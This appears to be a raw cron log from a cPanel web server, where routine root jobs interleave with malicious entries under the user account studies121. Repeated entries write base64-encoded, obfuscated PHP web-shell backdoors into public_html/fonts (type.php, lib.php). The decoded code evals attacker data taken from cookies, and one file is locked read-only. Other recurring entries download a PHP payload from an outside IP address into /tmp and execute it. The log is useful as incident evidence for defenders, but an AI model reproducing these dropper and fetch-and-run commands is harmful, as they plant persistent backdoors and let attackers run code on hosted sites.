Sep 12 10:08:01 ip-184-168-122-23 CROND[7218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:08:01 ip-184-168-122-23 CROND[7216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:08:01 ip-184-168-122-23 CROND[7217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:09:01 ip-184-168-122-23 CROND[7314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:09:01 ip-184-168-122-23 CROND[7316]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:09:01 ip-184-168-122-23 CROND[7319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:09:01 ip-184-168-122-23 CROND[7320]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:09:01 ip-184-168-122-23 CROND[7318]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 10:10:01 ip-184-168-122-23 CROND[7454]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:10:01 ip-184-168-122-23 CROND[7457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:10:01 ip-184-168-122-23 CROND[7459]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:10:01 ip-184-168-122-23 CROND[7460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:10:01 ip-184-168-122-23 CROND[7465]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:10:01 ip-184-168-122-23 CROND[7463]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:10:01 ip-184-168-122-23 CROND[7464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:10:01 ip-184-168-122-23 CROND[7461]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:11:01 ip-184-168-122-23 CROND[7580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:11:01 ip-184-168-122-23 CROND[7581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:11:01 ip-184-168-122-23 CROND[7584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:11:01 ip-184-168-122-23 CROND[7585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:12:02 ip-184-168-122-23 CROND[7741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:12:02 ip-184-168-122-23 CROND[7744]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:12:02 ip-184-168-122-23 CROND[7742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:12:02 ip-184-168-122-23 CROND[7746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:12:02 ip-184-168-122-23 CROND[7745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:13:01 ip-184-168-122-23 CROND[7888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:13:01 ip-184-168-122-23 CROND[7887]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:13:01 ip-184-168-122-23 CROND[7891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:13:01 ip-184-168-122-23 CROND[7892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:14:01 ip-184-168-122-23 CROND[7996]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:14:01 ip-184-168-122-23 CROND[8000]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:14:01 ip-184-168-122-23 CROND[7998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:14:01 ip-184-168-122-23 CROND[7999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:14:01 ip-184-168-122-23 CROND[8001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:15:01 ip-184-168-122-23 CROND[8135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:15:01 ip-184-168-122-23 CROND[8137]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:15:01 ip-184-168-122-23 CROND[8141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:15:01 ip-184-168-122-23 CROND[8139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:15:01 ip-184-168-122-23 CROND[8140]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:15:01 ip-184-168-122-23 CROND[8142]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 10:15:01 ip-184-168-122-23 CROND[8138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:16:02 ip-184-168-122-23 CROND[8238]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:16:02 ip-184-168-122-23 CROND[8245]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 10:16:02 ip-184-168-122-23 CROND[8250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:16:02 ip-184-168-122-23 CROND[8247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:16:02 ip-184-168-122-23 CROND[8248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:16:02 ip-184-168-122-23 CROND[8249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:17:01 ip-184-168-122-23 CROND[8460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:17:01 ip-184-168-122-23 CROND[8462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:17:01 ip-184-168-122-23 CROND[8463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:17:01 ip-184-168-122-23 CROND[8464]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:18:01 ip-184-168-122-23 CROND[8569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:18:01 ip-184-168-122-23 CROND[8572]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:18:01 ip-184-168-122-23 CROND[8573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:18:01 ip-184-168-122-23 CROND[8574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:18:01 ip-184-168-122-23 CROND[8571]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 10:19:01 ip-184-168-122-23 CROND[8655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 10:19:01 ip-184-168-122-23 CROND[8659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 10:19:01 ip-184-168-122-23 CROND[8658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 10:19:01 ip-184-168-122-23 CROND[8657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8764]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8767]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8775]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 10:20:01 ip-184-168-122-23 CROND[8772]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
